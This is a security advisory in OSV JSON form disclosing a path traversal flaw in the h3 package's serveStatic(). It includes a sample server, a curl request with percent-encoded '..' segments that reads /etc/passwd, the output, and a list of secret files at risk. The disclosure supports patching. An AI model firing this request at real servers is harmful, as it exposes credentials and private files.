{"id":"GHSA-wr4h-v87w-p3r7","summary":"h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read","details":"## Summary\n\n`serveStatic()` in h3 is vulnerable to path traversal via percent-encoded dot segments (`%2e%2e`), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.\n\n## Details\n\nThe vulnerability exists in `src/utils/static.ts` at [line 86](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/static.ts#L86):\n\n```typescript\nconst originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));\n```\n\nOn Node.js, h3 uses srvx's `FastURL` class to parse request URLs. Unlike the standard WHATWG `URL` parser, `FastURL` extracts the pathname via raw string slicing for performance — it does **not** normalize dot segments (`.` / `..`) or resolve percent-encoded equivalents (`%2e`).\n\nThis means a request to `/%2e%2e/` will have `event.url.pathname` return `/%2e%2e/` verbatim, whereas the standard `URL` parser would normalize it to `/` (resolving `..` upward).\n\nThe `serveStatic()` function then calls `decodeURI()` on this raw pathname, which decodes `%2e` to `.`, producing `/../`. The resulting path containing `../` traversal sequences is passed directly to the user-provided `getMeta()` and `getContents()` callbacks with no sanitization or traversal validation.\n\nWhen these callbacks perform filesystem operations (the intended and documented usage), the `../` sequences resolve against the filesystem, escaping the static root directory.\n\n\nBefore exploit:\n\n\u003cimg width=\"761\" height=\"97\" alt=\"image\" src=\"https://github.com/user-attachments/assets/798f9d3d-f76c-4c29-aca3-5a6ccd3b3627\" /\u003e\n\n### Vulnerability chain\n\n```\n1. Attacker sends:    GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd\n2. FastURL.pathname:  /%2e%2e/%2e%2e/%2e%2e/etc/passwd  (raw, no normalization)\n3. decodeURI():       /../../../etc/passwd                (%2e decoded to .)\n4. getMeta(id):       id = \"/../../../etc/passwd\"         (no traversal check)\n5. path.join(root,id): /etc/passwd                        (.. resolved by OS)\n6. Response:          contents of /etc/passwd\n```\n\n## PoC\n\n### Vulnerable server (`server.ts`)\n\n```typescript\nimport { H3, serveStatic } from \"h3\";\nimport { serve } from \"h3/node\";\nimport { readFileSync, statSync } from \"node:fs\";\nimport { join, resolve } from \"node:path\";\n\nconst STATIC_ROOT = resolve(\"./public\");\nconst app = new H3();\n\napp.all(\"/**\", (event) =\u003e\n  serveStatic(event, {\n    getMeta: (id) =\u003e {\n      const filePath = join(STATIC_ROOT, id);\n      try {\n        const stat = statSync(filePath);\n        return { size: stat.size, mtime: stat.mtime };\n      } catch {\n        return undefined;\n      }\n    },\n    getContents: (id) =\u003e {\n      const filePath = join(STATIC_ROOT, id);\n      try {\n        return readFileSync(filePath);\n      } catch {\n        return undefined;\n      }\n    },\n  })\n);\n\nserve({ fetch: app.fetch });\n```\n\n### Exploit\n\n```bash\n# Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)\ncurl -s --path-as-is \"http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n```\n\n### Result\n\n```\nroot:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n...\n```\n\n\nProof:\n\n\u003cimg width=\"940\" height=\"703\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f452e061-847a-424c-9dda-dfbf899687b1\" /\u003e\n\nPwned by **0xkakashi** \n\n\u003cimg width=\"942\" height=\"74\" alt=\"image\" src=\"https://github.com/user-attachments/assets/db881519-1456-4e4c-a751-d8781b7abe95\" /\u003e\n\n\n## Impact\n\nAn unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with `%2e%2e` (percent-encoded `..`) path segments to any endpoint served by `serveStatic()`.\n\nThis affects any h3 v2.x application using `serveStatic()` running on Node.js (where the `FastURL` fast path is used). Applications running on runtimes that provide a pre-parsed `URL` object (e.g., Cloudflare Workers, Deno) may not be affected, as `FastURL`'s raw string slicing is bypassed.\n\n**Exploitable files include but are not limited to:**\n- `/etc/passwd`, `/etc/shadow` (if readable)\n- Application source code and configuration files\n- `.env` files containing secrets, API keys, database credentials\n- Private keys and certificates","aliases":["CVE-2026-86253"],"modified":"2026-09-10T03:50:41.574716361Z","published":"2026-03-18T16:18:32Z","database_specific":{"cwe_ids":["CWE-116","CWE-22"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-03-18T16:18:32Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/h3js/h3/security/advisories/GHSA-wr4h-v87w-p3r7"},{"type":"WEB","url":"https://github.com/h3js/h3/commit/0e751b4059060f2ade01a0bdfd96b0f5ffc8a26d"},{"type":"PACKAGE","url":"https://github.com/h3js/h3"},{"type":"WEB","url":"https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/static.ts#L86"}],"affected":[{"package":{"name":"h3","ecosystem":"npm","purl":"pkg:npm/h3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.0.1-rc.15"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 2.0.1-rc.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-wr4h-v87w-p3r7/GHSA-wr4h-v87w-p3r7.json"}},{"package":{"name":"h3","ecosystem":"npm","purl":"pkg:npm/h3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.15.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-wr4h-v87w-p3r7/GHSA-wr4h-v87w-p3r7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}